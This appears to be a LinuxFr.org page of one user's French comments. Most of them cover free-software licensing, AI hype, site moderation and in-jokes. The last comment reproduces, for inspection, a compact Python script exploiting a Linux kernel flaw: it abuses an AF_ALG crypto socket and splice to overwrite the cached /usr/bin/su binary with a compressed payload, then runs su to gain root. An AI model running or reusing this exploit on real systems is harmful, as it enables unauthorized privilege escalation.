volts a écrit 584 commentaires

J'ai appris qu'il y a une issue Github traitant du caractère propriétaire de NeoMeca, ce qui est une violation sans équivoque des licences LGPL (Rien que ça pour FFMPEG où tout est clairement précisé). Ce problème n'a toujours pas été traité à l'heure où je fais mon commentaire.

Mes conseils à l'attention de l'auteur du journal :

• Arrêter de faire la promotion de votre logiciel pour le moment
• Demander à la modération de LinuxFr.org de supprimer vos journaux en rapport avec NeoMeca
• Supprimer le dépôt Github lié au logiciel pour vous prévenir de tout risque de suspension de compte ou de poursuite (ce qui ne signifie pas d'effacer complètement le code source de votre PC/Mac, juste éviter qu'un tiers comme une plateforme puisse accéder au code-source et aux binaires)
• Enfin, étudier sérieusement les documents sur les logiciels libres^{1 2} en général avant republication du code-source et des binaires. Dans le doute, vous pouvez demander des avis sur le forum.

on le vire ?

Je ne partage pas cet avis.

NeoMeca, c'est le MultideskOS de la vidéo voyons !

Il nous faut bien rajouter du sang neuf dans le folklore de DLFP :)

MOINSSEZ-LE !!

Et les H100 à moins 600€, faut me dire où ! C'est l'occasion de devenir riche ! :-)

Pour moi, la question n'est pas "où ?" mais "quand ?".

Il "suffit" que la bulle IA éclate, et hop ! Les voilà les H100 sous la barre des 600€ 😈

Merci le fédiverse pour la pépite 😇

Faites des patchs, pas des hacks. 💖

* Une autopromotion sauvage apparaît dans le fil des commentaires ! *

Et si tu as un employeur bien à fond dans cette hype, il y a une nouvelle série façon "revue de presse" pour le convaincre d'indexer LinuxFr.org comme site sérieux¹.

ELY - Un agent IA auto-hébergé conforme RGPD avec anonymisation native

Pourquoi pas, il y a une bonne intention.

Cependant, je vois un truc pas très très catholique dans les instructions sur la démo :

Trois commandes, 30 minutes pour le scénario "POC local" avec une clé API Gemini gratuite

Mais, attendez, Gemini AI, c'est bien un truc proprio de Alphabet coincé dans un nuage sous la coupe de l'Agent Orange qui cherche à détricoter le RGPD ?

…

C'est.

donc.

Un.

PIÈGE !!!

* Pousse un long hululement inhumain qui fait sursauter tout un openspace *

Agent qui ne sait même pas écrire proprement du markdown ; pauvre bête…

Depuis quand une Intelligence Aviaire est mise à disposition comme agent sur le cyberespace ?? o_O

Qu'est-ce que votre projet apporte de plus par rapport aux autres trousseaux de clé existants ?

Tout était pourtant écrit ici l'an dernier.

Est-ce que celui-ci serait accepté ou non sur Flathub ?

À mon avis, tu te situerais dans une zone grise d'après les conditions de soumission :

Submissions or changes where most of the code is written by or using AI without any meaningful human input, review, justification or moderation of the code are not allowed.

MultideskOS est déjà parmi nous…

… Mais est-ce que Orbitiny est prêt pour le desktop sous Wayland ?

Ouf, ça y est, c'est créé maintenant.

Merci l'effet LinuxFR \o/

Ça me retourne une erreur 404 pour le lien de Ubuntu 🫠 .

Quelles sont les recommandations pour partager ce type d'info urgente sur LinuxFr? Est-ce Forum/Journal/Lien? (sans doute pas dépêche)

Pour l'instant, je n'ai pas vu de recommandation formelle sur FAQ ni sur le wiki.

En pratique, je privilégierais le journal pour des infos urgente. Toutefois, il est possible de faire une dépêche urgente, mais il faudra prendre un certain délai avant sa publication, le temps que l'équipe de modération valide le contenu.

Je pensais que Journal était plus pour des sujets de fond, n'étant pas une dépêche.

D'après la FAQ, les journaux sont l'équivalent d'un espace de blog à disposition des inscrits. Il n'y a donc pas de contrainte explicite sur le type de contenu à mettre (sauf à ne rien faire d'illicite au regard de la loi française).

Ce journal est arrivé le premier avec la nouvelle explosive.

En même temps, si tu as parlé à Litonnia…

Et interdire les journaux & liens.

J'ai une remarque à faire sur ce point : pour être crédible à émettre ce genre de proposition, autant à être irréprochable en ne publiant aucun journal ni lien. Hélas, tu m'a fortement déçu avec ta publication de ce lien, qui plus est en rapport avec des sujet "HS" de l'IA. Je note également que tu n'as émis aucune objection que ton lien soit recensé dans le dernier "Nouvelles sur l'IA", ce qui peut être considéré comme une adhésion de fait à contribuer aux publications de ce type de dépêche.

C'est faux. Le contenu de la section lien est devenu très majoritairement HS. Et par HS j'entends ni en rapport avec linux ni en rapport avec le libre. On est noyé depuis quelques mois sous une masse de contenus ineptes. Un vrai DOS. Je me suis désabonné des flux RSS, et participe de moins en moins (à fortiori car si je viens ici c'est pour lire et commenter du contenu sur Linux et le libre). Je suis en train de basculer sur lwn.

Je suis désolé, mais j'ai une mauvaise nouvelle pour toi : LWN traite aussi de l'IA dans sa ligne éditoriale ( un exemple parmi d'autre ).

Accessoirement, je ne reçois aucun argent ni aucune autre contrepartie de ta part pour te conformer à ta sensibilité, et je doute fortement que tu aies consacré des sous ou de ton temps de contribution au site LinuxFR pour dicter tes conditions à l'association derrière l'édition du site web…

Une contributrice FreeBSD se pointe un jour dans un restau familial texan avec un t-shirt illustrant le démon

C'était donc elle, le fameux antéchrist dont Notre Seigneur Peter Thiel en parlait la dernière fois à proximité du Saint-Siège o_O

* Pointe son doigt vers le lien de Jehan< et hurle un long cri inhumain qui sursaute tout un public non-averti d'un café de centre-ville *

Profitons de cette brève époque oû on arrive encore à voir venir les LLM avec leurs gros sabots. Ça ne durera pas, elles vont apprendre à éviter ces tics de langage.

Dans un avenir proche sur le cyberespace…

invasion de poulpes violets mangeurs de devs ?

Assez grands pour croquer des humains, devs compris, en entier…

C'est maintenant sûr, ça a déjà existé^{1 2}.

Il ne reste plus qu'une prochaine grande catastrophe (pire que l'affaire Epstein 😱) et on aura la résurrection des Krakens dont nos longtemps aïeux ont tant redoutés.

Plutôt que s'amuser à exécuter directement le script sans voir le code, je préfère voir la source avant.

Voici le contenu du script d'exploitation de la faille¹ :

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")